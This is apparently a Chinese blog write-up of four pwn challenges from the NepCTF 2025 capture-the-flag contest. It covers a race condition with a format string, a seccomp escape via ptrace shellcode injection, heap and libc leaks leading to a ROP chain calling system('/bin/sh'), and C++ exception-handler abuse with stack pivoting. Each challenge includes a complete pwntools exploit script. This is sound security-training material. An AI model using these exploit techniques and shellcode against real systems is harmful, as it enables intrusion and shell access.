nepCTF2025 pwn题解

nepCTF2025 pwn题解

time

用到pthread_create()创建线程,而线程是使用的同一个内存空间。

void __fastcall __noreturn main(int a1, char **a2, char **a3)
{
  pthread_t newthread[2]; // [rsp+0h] [rbp-10h] BYREF

  newthread[1] = __readfsqword(0x28u);
  setbuf(stdin, 0LL);
  setbuf(stdout, 0LL);
  setbuf(stderr, 0LL);
  puts_ls();
  while ( 1 )
  {
    while ( !(unsigned int)if_flag() )
      ;
    pthread_create(newthread, 0LL, start_routine, 0LL);
  }
}
void __fastcall start_routine(void *a1)
{
  unsigned int v1; // eax
  int i; // [rsp+4h] [rbp-46Ch]
  int j; // [rsp+8h] [rbp-468h]
  int fd; // [rsp+Ch] [rbp-464h]
  char v5[96]; // [rsp+10h] [rbp-460h] BYREF
  char v6[16]; // [rsp+70h] [rbp-400h] BYREF
  char buf[1000]; // [rsp+80h] [rbp-3F0h] BYREF
  unsigned __int64 v8; // [rsp+468h] [rbp-8h]

  v8 = __readfsqword(0x28u);
  sub_1329(v5);
  v1 = strlen(file);
  md5_1(v5, file, v1);
  md5_2(v5, (__int64)v6);
  puts("I will tell you last file name content in md5:");
  for ( i = 0; i <= 15; ++i )
    printf("%02X", (unsigned __int8)v6[i]);
  putchar('\n');
  for ( j = 0; j <= 999; ++j )
    buf[j] = 0;
  fd = open(file, 0);
  if ( fd >= 0 )
  {
    read(fd, buf, 0x3E8uLL);
    close(fd);
    printf("hello ");
    printf(name);
    puts(" ,your file read done!");
  }
  else
  {
    puts("file not found!");
  }
}

循环里面套循环,start_routine函数里面是读取文件的内容到栈,之后,可以利用格式化字符串printf(name);来输出文件内容。

那么很简单,咱们只需要读取flag到栈上即可,也就是file要为'flag',但是if_flag函数会进行检测,那么咱们只需要竞争这个file,使其在if_flag前为非flag字符串,之后进入线程后快速更改file为flag。

exp

#!/usr/bin/env python3
from pwncli import *
context(arch='amd64',os='linux',log_level='debug')
p   = lambda s,t: print(f"\033[0;31;43m{s.ljust(15, ' ') + '------------------------->' + hex(t)}\033[0m")

# sh = remote("nepctf32-24ji-l5g4-1wiu-rijztdfhc163.nepctf.com",443,ssl=True)
sh = process("./time")
sh.sendlineafter("please input your name:\n", "%22$p|%23$p|%24$p|%25$p|%26$p|%27$p|%28$p|%29$p")
sh.sendline("time")
sh.sendline("flag")
try:
    sh.recvuntil("356313CAFBE4C77CB9DC1BE083E946E4\n")
    sh.interactive()
except EOFError:
    pass

image

image

smallbox

ptrace注入,甚至直接抄即可 https://skyeto.com/p/seccomp-jail-escape-using-ptrace

exp

#!/usr/bin/env python3
from pwncli import *
context(arch='amd64', os='linux', log_level='debug')
p = lambda s, t: print(f"\033[0;31;43m{s.ljust(15, ' ') + '------------------------->' + hex(t)}\033[0m")

# sh = remote("node5.buuoj.cn", 26759)
sh = process("./smallbox")

shell2 = asm('''
push   0x42
pop    rax
inc    ah
cqo
push   rdx
movabs rdi, 0x68732f2f6e69622f
push   rdi
push   rsp
pop    rsi
mov    r8, rdx
mov    r10, rdx
syscall
''')
shell2 = shell2.ljust((len(shell2) + 3) & ~3, b'\x90')

shellcode = asm('''
    mov edi, 0x10 
    mov esi, [rbp - 0xc]
    xor rdx, rdx 
    xor r10, r10 
    mov eax, 101
    syscall
    
    sub rsp,512
    
    mov edi, 12
    mov esi, [rbp - 0xc]
    xor rdx, rdx 
    lea r10, [rsp + 100] 
    mov eax, 101
    syscall
    
    mov r12, [rsp + 100 + 128]
''')
write_bytes = ""
for i in range(0, len(shell2), 4):
    write_bytes += f"""
	mov rax, 101;
	mov rdi, 4;
	mov rsi, [rbp - 0xc];

	/* Memory location to write to */
	mov rdx, [rsp + 100 + 128];
	add rdx, {i};

	/* Payload bytes */
	mov r10, {u32(shell2[i:i + 4].rjust(4, b"0"))};
	syscall;

	add r12, 4; /* r12 came in handy here */
	"""
shellcode += asm(write_bytes)

shellcode+=asm('''
    /* detach ptrace and restart execution */
    mov rax, 101;
    mov rdi, 17;
    mov rsi, [rbp - 0xc];
    mov rdx, 0;
    mov r10, 0;
    syscall;
    
    /* yield */
    mov eax, 1
    loop:
    test eax, 1
    jne loop;
''')


gdb.attach(sh, 'brva 0x143F\nc')
sh.sendline(shellcode)

sh.interactive()

astray2

主要漏洞

  1. 对user_read没有限制,读取manage_physic[0]可以直接泄露堆地址和pie。
  2. 利用user_operation可以绕过checkvisit的检测。
  3. 对manage_physic[0]进行修改

exp

#!/usr/bin/env python3
from pwncli import *

context(arch='amd64', os='linux', log_level='debug')
p = lambda s, t: print(f"\033[0;31;43m{s.ljust(15, ' ') + '------------------------->' + hex(t)}\033[0m")

sh = remote("nepctf30-ebzf-qqwr-tp53-tptqny5nk238.nepctf.com",443,ssl=True)
# sh = process("./astray")
e = ELF('./astray')
libc = ELF('./libc.so.6')

def user_read(index):
    sh.sendlineafter("Which permission do you want to log in with?(1:manager 1000:user)\n", '1000')
    sh.sendafter("user write to logs(USER_write)\n", 'USER_read')
    sh.sendlineafter("10-19: user can visit\n", str(index))


def user_write(index, data):
    sh.sendlineafter("Which permission do you want to log in with?(1:manager 1000:user)\n", '1000')
    sh.sendafter("user write to logs(USER_write)\n", 'USER_write')
    sh.sendlineafter("10-19: user can visit\n", str(index))
    sh.sendline(data)


def manager_read(index):
    sh.sendlineafter("Which permission do you want to log in with?(1:manager 1000:user)\n", '1')
    sh.sendafter("visit user(MANAGER_visit)\n", 'MANAGER_read')
    sh.sendlineafter("1-19: manager can visit\n", str(index))


def manager_write(index, data):
    sh.sendlineafter("Which permission do you want to log in with?(1:manager 1000:user)\n", '1')
    sh.sendafter("visit user(MANAGER_visit)\n", 'MANAGER_write')
    sh.sendlineafter("1-19: manager can visit\n", str(index))
    sh.sendline(data)


def manager_visit_read(index):
    sh.sendlineafter("Which permission do you want to log in with?(1:manager 1000:user)\n", '1')
    sh.sendafter("visit user(MANAGER_visit)\n", 'MANAGER_visit')
    sh.sendlineafter("1-19: manager can visit\n", str(index))
    sh.sendlineafter('2: manager visit user to write to user_logs\n', '1')


def manager_visit_write(index, data):
    sh.sendlineafter("Which permission do you want to log in with?(1:manager 1000:user)\n", '1')
    sh.sendafter("visit user(MANAGER_visit)\n", 'MANAGER_visit')
    sh.sendlineafter("1-19: manager can visit\n", str(index))
    sh.sendlineafter('2: manager visit user to write to user_logs\n', '2')
    sh.sendline(data)

user_read(0)
sh.recv(8)
heap = u64(sh.recv(8))
pie = u64(sh.recv(8)) - 0x41a0

p("pie", pie)
p("heap", heap)

manager_write(10,p64(0) + p64(heap-0x1620) + p64(pie+e.got['puts']))

sh.sendlineafter("Which permission do you want to log in with?(1:manager 1000:user)\n", '1000')
sh.sendafter("user write to logs(USER_write)\n", 'MANAGER_visit')
sh.sendlineafter("10-19: user can visit\n", '0')

manager_visit_write(10,b'a'*8 + p64(heap) + p64(heap-0x1630))

manager_visit_read(10)
libc.address = u64(sh.recv(8))-0x80e50
p("libc", libc.address)

manager_write(10,p64(0) + p64(heap-0x1620) + p64(libc.sym['_environ']))
manager_visit_read(10)
stack = u64(sh.recv(8))
p("stack", stack)

manager_write(10,p64(0) + p64(heap-0x1620) + p64(stack-0x150))
# gdb.attach(sh,'brva 0x0000000000001958\nc')

pop_rdi = libc.address+0x000000000002a3e5
ret = 0x00000000000f9154+libc.address
manager_visit_write(10, p64(ret) + p64(pop_rdi) + p64(next(libc.search(b'/bin/sh'))) + p64(libc.sym['system']))

sh.interactive()

canutrytry

主要用到cpp的错误处理机制。

https://zhuanlan.zhihu.com/p/13157062538

image

可以看到op1和op2在同一个try内,而op2内存在栈溢出并且op2只能用一次,那么就只能先利用op1来报错获取libc和stack地址,之后利用op2的栈溢出,覆盖返回地址为0x000000000401ED9

image

此try对应了0x000000000401F19的catch。

image

在运行buf1返回时有

image

不过似乎没什么用

之后进入buf2

image

image

又有栈溢出,那么此处栈溢出可以利用为栈迁移,迁移到buf1写入的rop里,即可。

此题还存在沙盒,只能使用write、read、colse、futex,还close(1),这其实很简单,只需要write(2, flag, size)即可。

exp

#!/usr/bin/env python3
from pwncli import *

context(arch='amd64', os='linux', log_level='debug')
p = lambda s, t: print(f"\033[0;31;43m{s.ljust(15, ' ') + '------------------------->' + hex(t)}\033[0m")

# sh = remote("node5.buuoj.cn", 26759)
sh = process("./canutrytry")
libc = ELF("./libc.so.6")


def set_size(size):
    sh.sendlineafter(">>", '1')
    sh.sendlineafter(">>", '2')
    sh.sendlineafter(":", str(size))


def add():
    sh.sendlineafter(">>", '1')
    sh.sendlineafter(">>", '1')


def edit(index, data):
    sh.sendlineafter(">>", '1')
    sh.sendlineafter(">>", '3')
    sh.sendlineafter(":", str(index))
    sh.sendafter(":", data)


def door(index):
    sh.sendlineafter(">>", '2')
    sh.sendlineafter(": ", str(index))


set_size(0x30)
add()

set_size(-1)
add()

sh.recvuntil("setbufaddr:")
libc.address = eval(sh.recvline()) - 0x88060
sh.recvuntil("stackaddr:")
stack = eval(sh.recvline())
p("libc", libc.address)
p("stack", stack)

edit(0, b'a' * 0x20 + p64(0x405460) + p64(0x401ED9))

# gdb.attach(sh, 'b *0x0000000000401600\nc')
door(0)

pop_rdi = 0x2a3e5 + libc.address
pop_rsi_r15 = 0x2a3e3 + libc.address
pop_rdx_r12 = 0x11f497 + libc.address
rop = p64(pop_rdi) + p64(2) + p64(pop_rsi_r15) + p64(0x4053C0) + p64(0) + \
      p64(pop_rdx_r12) + p64(0x40) + p64(0) + \
      p64(libc.sym['write'])
sh.sendlineafter("well,prepare your rop now!\n", rop)
sh.sendlineafter('Enter your flag: ', b'b' * 0x10)
sh.send(b'c' * 0x10 + p64(0x405458))

sh.interactive()

posted @ 2025-07-29 11:06  不存在的CTF  阅读(193)  评论(0)    收藏  举报